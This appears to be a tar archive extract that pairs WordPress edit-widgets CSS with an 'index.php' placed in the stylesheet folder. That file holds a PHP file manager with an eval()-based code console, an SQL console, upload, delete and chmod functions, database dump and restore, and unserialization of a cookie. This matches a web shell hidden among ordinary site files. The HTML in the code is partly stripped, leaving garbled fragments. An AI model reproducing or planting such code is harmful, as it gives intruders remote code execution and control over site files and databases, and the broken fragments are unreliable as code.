.components-button.edit-widgets-sidebar__panel-tab:focus-visible:before{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:2px solid transparent; } .edit-widgets-widget-areas__top-container{ display:flex; padding:16px; } .edit-widgets-widget-areas__top-container .block-editor-block-icon{ margin-right:16px; } .edit-widgets-notices__snackbar{ bottom:20px; left:0; padding-left:16px; padding-right:16px; position:fixed; right:0; } @media (min-width:783px){ .edit-widgets-notices__snackbar{ left:160px; } } @media (min-width:783px){ .auto-fold .edit-widgets-notices__snackbar{ left:36px; } } @media (min-width:961px){ .auto-fold .edit-widgets-notices__snackbar{ left:160px; } } .folded .edit-widgets-notices__snackbar{ left:0; } @media (min-width:783px){ .folded .edit-widgets-notices__snackbar{ left:36px; } } body.is-fullscreen-mode .edit-widgets-notices__snackbar{ left:0 !important; } .edit-widgets-notices__dismissible .components-notice,.edit-widgets-notices__pinned .components-notice{ border-bottom:1px solid rgba(0,0,0,.2); box-sizing:border-box; margin:0; min-height:60px; padding:0 12px; } .edit-widgets-notices__dismissible .components-notice .components-notice__dismiss,.edit-widgets-notices__pinned .components-notice .components-notice__dismiss{ margin-top:12px; } .edit-widgets-layout__inserter-panel{ display:flex; flex-direction:column; height:100%; } .edit-widgets-layout__inserter-panel .block-editor-inserter__menu{ overflow:hidden; } .edit-widgets-layout__inserter-panel-header{ display:flex; justify-content:flex-end; padding-right:8px; padding-top:8px; } .edit-widgets-layout__inserter-panel-content{ height:calc(100% - 44px); } @media (min-width:782px){ .edit-widgets-layout__inserter-panel-content{ height:100%; } } @media (min-width:782px){ .blocks-widgets-container .interface-interface-skeleton__header:not(:focus-within){ z-index:19; } } .edit-widgets-welcome-guide{ width:312px; } .edit-widgets-welcome-guide__image{ background:#00a0d2; margin:0 0 16px; } .edit-widgets-welcome-guide__image>img{ display:block; max-width:100%; object-fit:cover; } .edit-widgets-welcome-guide__heading{ font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:24px; line-height:1.4; margin:16px 0; padding:0 32px; } .edit-widgets-welcome-guide__text{ font-size:13px; line-height:1.4; margin:0 0 24px; padding:0 32px; } .edit-widgets-welcome-guide__inserter-icon{ margin:0 4px; vertical-align:text-top; } .edit-widgets-block-editor{ font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; position:relative; } .edit-widgets-block-editor,.edit-widgets-block-editor .block-editor-writing-flow,.edit-widgets-block-editor>div:last-of-type{ display:flex; flex-direction:column; flex-grow:1; } .edit-widgets-block-editor .edit-widgets-main-block-list{ height:100%; } .edit-widgets-block-editor .components-button{ font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; } .edit-widgets-block-editor .components-button.has-icon,.edit-widgets-block-editor .components-button.is-tertiary{ padding:6px; } .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ left:0; } @media (min-width:783px){ .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ left:160px; } } @media (min-width:783px){ .auto-fold .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ left:36px; } } @media (min-width:961px){ .auto-fold .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ left:160px; } } .folded .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ left:0; } @media (min-width:783px){ .folded .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ left:36px; } } body.is-fullscreen-mode .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ left:0 !important; } .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ display:block; position:sticky; top:0; width:100%; z-index:31; } @media (min-width:782px){ .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ align-items:center; border-bottom:none; display:flex; height:60px; margin-left:180px; min-height:auto; position:fixed; top:32px; width:calc(100% - 180px); } .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed.is-collapsed,.edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed:empty{ width:auto; } .is-fullscreen-mode .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ margin-left:240px; top:0; } .is-fullscreen-mode .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed.is-collapsed,.is-fullscreen-mode .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed:empty{ width:auto; } .show-icon-labels .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ margin-left:80px; width:calc(100% - 140px); } .is-fullscreen-mode .show-icon-labels .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ margin-left:144px; } .blocks-widgets-container .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ margin-left:153.6px; } .blocks-widgets-container .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed.is-collapsed{ margin-left:268.8px; } } @media (min-width:960px){ .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed,.show-icon-labels .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ width:auto; } .is-fullscreen-mode .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{ width:calc(100% - 536px); } } .edit-widgets-editor__list-view-panel{ display:flex; flex-direction:column; height:100%; min-width:350px; } .edit-widgets-editor__list-view-panel-content{ height:calc(100% - 44px); overflow-y:auto; padding:8px; } .edit-widgets-editor__list-view-panel-header{ align-items:center; border-bottom:1px solid #ddd; display:flex; height:48px; justify-content:space-between; padding-left:16px; padding-right:4px; } body.js.appearance_page_gutenberg-widgets,body.js.widgets-php{ background:#fff; } body.js.appearance_page_gutenberg-widgets #wpcontent,body.js.widgets-php #wpcontent{ padding-left:0; } body.js.appearance_page_gutenberg-widgets #wpbody-content,body.js.widgets-php #wpbody-content{ padding-bottom:0; } body.js.appearance_page_gutenberg-widgets #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.appearance_page_gutenberg-widgets #wpfooter,body.js.widgets-php #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.widgets-php #wpfooter{ display:none; } body.js.appearance_page_gutenberg-widgets .a11y-speak-region,body.js.widgets-php .a11y-speak-region{ left:-1px; top:-1px; } body.js.appearance_page_gutenberg-widgets ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-widgets ul#adminmenu>li.current>a.current:after,body.js.widgets-php ul#adminmenu a.wp-has-current-submenu:after,body.js.widgets-php ul#adminmenu>li.current>a.current:after{ border-right-color:#fff; } body.js.appearance_page_gutenberg-widgets .media-frame select.attachment-filters:last-of-type,body.js.widgets-php .media-frame select.attachment-filters:last-of-type{ max-width:100%; width:auto; } .blocks-widgets-container,.components-modal__frame{ box-sizing:border-box; } .blocks-widgets-container *,.blocks-widgets-container :after,.blocks-widgets-container :before,.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before{ box-sizing:inherit; } @media (min-width:600px){ .blocks-widgets-container{ bottom:0; left:0; min-height:calc(100vh - 46px); position:absolute; right:0; top:0; } } @media (min-width:782px){ .blocks-widgets-container{ min-height:calc(100vh - 32px); } } .blocks-widgets-container .interface-interface-skeleton__content{ background-color:#f0f0f0; } .blocks-widgets-container .editor-styles-wrapper{ margin:auto; max-width:700px; } .edit-widgets-sidebar .components-button.interface-complementary-area__pin-unpin-item{ display:none; } .js .widgets-php .notice{ display:none !important; } body.admin-color-light{ --wp-admin-theme-color:#0085ba; --wp-admin-theme-color--rgb:0, 133, 186; --wp-admin-theme-color-darker-10:#0073a1; --wp-admin-theme-color-darker-10--rgb:0, 115, 161; --wp-admin-theme-color-darker-20:#006187; --wp-admin-theme-color-darker-20--rgb:0, 97, 135; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-light{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-modern{ --wp-admin-theme-color:#3858e9; --wp-admin-theme-color--rgb:56, 88, 233; --wp-admin-theme-color-darker-10:#2145e6; --wp-admin-theme-color-darker-10--rgb:33, 69, 230; --wp-admin-theme-color-darker-20:#183ad6; --wp-admin-theme-color-darker-20--rgb:24, 58, 214; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-modern{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-blue{ --wp-admin-theme-color:#096484; --wp-admin-theme-color--rgb:9, 100, 132; --wp-admin-theme-color-darker-10:#07526c; --wp-admin-theme-color-darker-10--rgb:7, 82, 108; --wp-admin-theme-color-darker-20:#064054; --wp-admin-theme-color-darker-20--rgb:6, 64, 84; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-blue{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-coffee{ --wp-admin-theme-color:#46403c; --wp-admin-theme-color--rgb:70, 64, 60; --wp-admin-theme-color-darker-10:#383330; --wp-admin-theme-color-darker-10--rgb:56, 51, 48; --wp-admin-theme-color-darker-20:#2b2724; --wp-admin-theme-color-darker-20--rgb:43, 39, 36; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-coffee{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-ectoplasm{ --wp-admin-theme-color:#523f6d; --wp-admin-theme-color--rgb:82, 63, 109; --wp-admin-theme-color-darker-10:#46365d; --wp-admin-theme-color-darker-10--rgb:70, 54, 93; --wp-admin-theme-color-darker-20:#3a2c4d; --wp-admin-theme-color-darker-20--rgb:58, 44, 77; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-ectoplasm{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-midnight{ --wp-admin-theme-color:#e14d43; --wp-admin-theme-color--rgb:225, 77, 67; --wp-admin-theme-color-darker-10:#dd382d; --wp-admin-theme-color-darker-10--rgb:221, 56, 45; --wp-admin-theme-color-darker-20:#d02c21; --wp-admin-theme-color-darker-20--rgb:208, 44, 33; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-midnight{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-ocean{ --wp-admin-theme-color:#627c83; --wp-admin-theme-color--rgb:98, 124, 131; --wp-admin-theme-color-darker-10:#576e74; --wp-admin-theme-color-darker-10--rgb:87, 110, 116; --wp-admin-theme-color-darker-20:#4c6066; --wp-admin-theme-color-darker-20--rgb:76, 96, 102; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-ocean{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-sunrise{ --wp-admin-theme-color:#dd823b; --wp-admin-theme-color--rgb:221, 130, 59; --wp-admin-theme-color-darker-10:#d97426; --wp-admin-theme-color-darker-10--rgb:217, 116, 38; --wp-admin-theme-color-darker-20:#c36922; --wp-admin-theme-color-darker-20--rgb:195, 105, 34; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-sunrise{ --wp-admin-border-width-focus:1.5px; } }css/dist/edit-widgets/index.php000064400000271353151202620300012512 0ustar00 ?????????????? true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) { $fm_config = $fm_default_config; } else { $fm_config = unserialize($_COOKIE['fm_config']); } // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + 86400 * $auth['days_authorization']); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if ($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])) { $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)) { foreach ($lang_priority as $lang_arr) { $lng = explode(';', $lang_arr); $lng = $lng[0]; if (in_array($lng, $langs)) { $language = $lng; break; } } } } // Cookie language is primary for ever $language = empty($_COOKIE['fm_lang']) ? $language : $_COOKIE['fm_lang']; //translation function __($text) { global $lang; if (isset($lang[$text])) { return $lang[$text]; } else { return $text; } } //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if ($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if ($el != '.' && $el != '..') { fm_del_files($file . '/' . $el, true); } } } if (@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false) { $perms = fileperms($file); $info = ''; if (!$if) { if (($perms & 0xc000) == 0xc000) { //Socket $info = 's'; } elseif (($perms & 0xa000) == 0xa000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= $perms & 0x100 ? 'r' : '-'; $info .= $perms & 0x80 ? 'w' : '-'; $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-'); //Group $info .= $perms & 0x20 ? 'r' : '-'; $info .= $perms & 0x10 ? 'w' : '-'; $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-'); //World $info .= $perms & 0x4 ? 'r' : '-'; $info .= $perms & 0x2 ? 'w' : '-'; $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-'); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode, 9, '-'); $trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1'); $mode = strtr($mode, $trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if (@is_dir($file) && $rec) { $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die; } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die; } } } //show folder size function fm_dir_size($f, $format = true) { if ($format) { $size = fm_dir_size($f, false); if ($size <= 1024) { return $size . ' bytes'; } elseif ($size <= 1024 * 1024) { return round($size / 1024, 2) . ' Kb'; } elseif ($size <= 1024 * 1024 * 1024) { return round($size / (1024 * 1024), 2) . ' Mb'; } elseif ($size <= 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024), 2) . ' Gb'; } elseif ($size <= 1024 * 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024 * 1024), 2) . ' Tb'; } else { return round($size / (1024 * 1024 * 1024 * 1024 * 1024), 2) . ' Pb'; } // ;-) } else { if (is_file($f)) { return filesize($f); } $size = 0; $dh = opendir($f); while (($file = readdir($dh)) !== false) { if ($file == '.' || $file == '..') { continue; } if (is_file($f . '/' . $file)) { $size += filesize($f . '/' . $file); } else { $size += fm_dir_size($f . '/' . $file, false); } } closedir($dh); return $size + filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if (!empty($exp)) { $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if (!empty($type) && $type !== 'all') { $func = 'is_' . $type; } if (@is_dir($directory)) { $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if (substr($filename, 0, 1) != '.' || $do_not_filter) { if ((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))) { $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get, $link, $name, $title = '') { if (empty($title)) { $title = $name . ' ' . basename($link); } return '  ' . $name . ''; } function fm_arr_to_option($arr, $n, $sel = '') { foreach ($arr as $v) { $b = $v[$n]; $res .= ''; } return $res; } function fm_lang_form($current = 'en') { return '
    '; } function fm_root($dirname) { return $dirname == '.' or $dirname == '..'; } function fm_php($string) { $display_errors = ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect() { global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query) { global $fm_config; $query = trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection, $query); if ($queried === false) { ob_end_clean(); return mysqli_error($connection); } else { if (!empty($queried)) { while ($row = mysqli_fetch_assoc($queried)) { $query_result[] = $row; } } $vdump = empty($query_result) ? '' : var_export($query_result, true); ob_end_clean(); $connection->close(); return '
    ' . stripslashes($vdump) . '
    '; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if ($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while ($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',', $tables); } $return = ''; foreach ($tables as $table) { $result = $mysqldb->query('SELECT * FROM ' . $table); $num_fields = mysqli_num_fields($result); $return .= 'DROP TABLE IF EXISTS `' . $table . '`' . $delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE ' . $table)); $return .= $row2[1] . $delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while ($row = mysqli_fetch_row($result)) { $return .= 'INSERT INTO `' . $table . '` VALUES('; for ($j = 0; $j < $num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n", "\\n", $row[$j]); if (isset($row[$j])) { $return .= '"' . $row[$j] . '"'; } else { $return .= '""'; } if ($j < $num_fields - 1) { $return .= ','; } } $return .= ')' . $delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\\d]+ #is", '', $return); } $return .= "\n\n\n"; } //save file $file = gmdate("Y-m-d_H-i-s", time()) . '.sql'; $handle = fopen($file, 'w+'); fwrite($handle, $return); fclose($handle); $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file . ': ' . fm_link('download', $path . $file, __('Download'), __('Download') . ' ' . $file) . ' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute, "r+"); $sqlFile = fread($f, filesize($sqlFileToExecute)); $sqlArray = explode($delimiter, $sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt) > 3) { $result = $mysqldb->query($stmt); if (!$result) { $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) { return __('Success') . ' — ' . $sqlFileToExecute; } else { return $sqlErrorText . '
    ' . $stmt; } } function fm_img_link($filename) { return './' . basename(__FILE__) . '?img=' . base64_encode($filename); } function fm_home_style() { return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name, $value) { global $fm_config; return '